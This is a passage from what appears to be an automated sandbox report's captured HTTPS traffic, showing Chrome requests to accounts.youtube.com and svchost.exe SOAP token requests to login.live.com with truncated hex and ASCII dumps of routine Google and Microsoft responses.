2024-04-18 21:40:55 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49914	64.233.177.101	443	940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:54 UTC	1223	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=212160193&timestamp=1713476453637 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCPnA1BUIpu3MIhj2yc0BGNXdzQEY0/7NARjYhs4BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:54 UTC	1850	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-uD9bIlF5UfiIdxcJdvI81Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 21:40:54 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjUtDikmJw0ZBikPj6kkkLiJ3SZ7CGAHHyv_OspUAsxMPxbFnbRjaBDy_uzmICAHk4Ems" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 37 36 39 65 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 75 44 39 62 49 6c 46 35 55 66 69 49 64 78 63 4a 64 76 49 38 31 51 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 769e<html><head><script nonce="uD9bIlF5UfiIdxcJdvI81Q">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 3d 3d 3d 61 29 7b 69 66 28 69 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 Data Ascii: ernet Explorer"===a){if(ia())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 64 3d 41 28 61 29 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 41 61 28 61 2c 64 7c 31 29 3b 72 65 74 75 72 6e 21 30 7d 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 22 69 6e 74 33 32 22 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 7c 7c 28 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 Data Ascii: },B=function(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;var d=A(a);if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;Aa(a,d\|1);return!0},Ba=function(){var a=Error("int32");a.__closure__error__context__984382\|\|(a.__closure__er
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 61 2c 62 2c 63 2c 64 2c 65 29 7b 69 66 28 6e 75 6c 6c 21 3d 0a 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 61 3d 42 28 61 2c 76 6f 69 64 20 30 2c 30 29 3f 76 6f 69 64 20 30 3a 65 26 26 41 28 61 29 26 32 3f 61 3a 49 61 28 61 2c 62 2c 63 2c 76 6f 69 64 20 30 21 3d 3d 64 2c 65 29 3b 65 6c 73 65 20 69 66 28 7a 61 28 61 29 29 7b 76 61 72 20 66 3d 7b 7d 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 66 5b 68 5d 3d 4a 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2c 65 29 3b 61 3d 66 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 2c 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 64 7c 7c 63 3f 41 28 61 29 3a 30 3b 64 3d 64 3f 21 21 28 66 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 Data Ascii: a,b,c,d,e){if(null!=a){if(Array.isArray(a))a=B(a,void 0,0)?void 0:e&&A(a)&2?a:Ia(a,b,c,void 0!==d,e);else if(za(a)){var f={},h;for(h in a)f[h]=Ja(a[h],b,c,d,e);a=f}else a=b(a,d);return a}},Ia=function(a,b,c,d,e){var f=d\|\|c?A(a):0;d=d?!!(f&32):void 0;a=Ar
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 68 7d 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 7d 3b 76 61 72 20 63 3d 22 6a 73 63 6f 6d 70 5f 73 79 6d 62 6f 6c 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 62 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 66 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 0a 45 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 Data Ascii: e:!0,writable:!0,value:h})};b.prototype.toString=function(){return this.g};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e)throw new TypeError("b");return new b(c+(f\|\|"")+"_"+d++,f)};return e});E("Symbol.iterator
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 63 74 2e 69 73 45 78 74 65 6e 73 69 62 6c 65 28 6d 29 26 26 64 28 6d 29 3b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 29 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 21 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6b 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 21 31 Data Ascii: ct.isExtensible(m)&&d(m);return l(m)})}if(function(){if(!a\|\|!Object.seal)return!1;try{var k=Object.seal({}),l=Object.seal({}),m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(r){return!1
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 75 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 Data Ascii: ead=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].u=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value};c.prototype.entries=function(){return e(t
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 29 3b 45 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 64 3d 53 74 72 69 6e 67 28 64 29 29 3b 76 61 72 20 65 3d 64 2e 6c 65 6e 67 74 68 3b 63 3d 63 7c 7c 30 3b 66 6f 72 28 30 3e 63 26 26 28 63 3d 4d 61 74 68 2e 6d 61 78 28 63 2b 65 2c 30 29 29 3b 63 3c 65 3b 63 2b 2b 29 7b 76 61 72 20 66 3d 64 5b 63 5d 3b 69 66 28 66 3d 3d 3d 62 7c 7c 4f 62 6a 65 63 74 2e 69 73 28 66 2c 62 Data Ascii: c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}});E("Array.prototype.includes",function(a){return a?a:function(b,c){var d=this;d instanceof String&&(d=String(d));var e=d.length;c=c\|\|0;for(0>c&&(c=Math.max(c+e,0));c<e;c++){var f=d[c];if(f===b\|\|Object.is(f,b
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 41 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 64 Data Ascii: var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b},I=function(a,b){function c(){}c.prototype=b.prototype;a.A=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ea=function(d
2024-04-18 21:40:54 UTC	1850	IN	Data Raw: 61 6d 65 3a 61 2e 66 69 6c 65 4e 61 6d 65 2c 73 74 61 63 6b 3a 62 7d 3a 28 63 3d 61 2e 6d 65 73 73 61 67 65 2c 6e 75 6c 6c 3d 3d 63 26 26 28 63 3d 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 3f 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 27 2b 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3f 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3a 74 62 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 29 2b 27 22 27 3a 22 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 75 6e 6b 6e 6f 77 6e 20 74 79 70 65 22 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 74 6f 53 74 72 69 6e 67 26 26 4f 62 6a 65 63 Data Ascii: ame:a.fileName,stack:b}:(c=a.message,null==c&&(c=a.constructor&&a.constructor instanceof Function?'Unknown Error of type "'+(a.constructor.name?a.constructor.name:tb(a.constructor))+'"':"Unknown Error of unknown type","function"===typeof a.toString&&Objec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49916	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 753b3f72-988f-4ef9-a1c3-c01cb18cb9b4 PPServer: PPV: 30 H: SN1PEPF0002F93E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:54 GMT Connection: close Content-Length: 1918
2024-04-18 21:40:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49920	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: fb8f6457-44b5-4c3a-8901-2b5a85841dda PPServer: PPV: 30 H: SN1PEPF0002F9C6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:55 GMT Connection: close Content-Length: 11390
2024-04-18 21:40:55 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

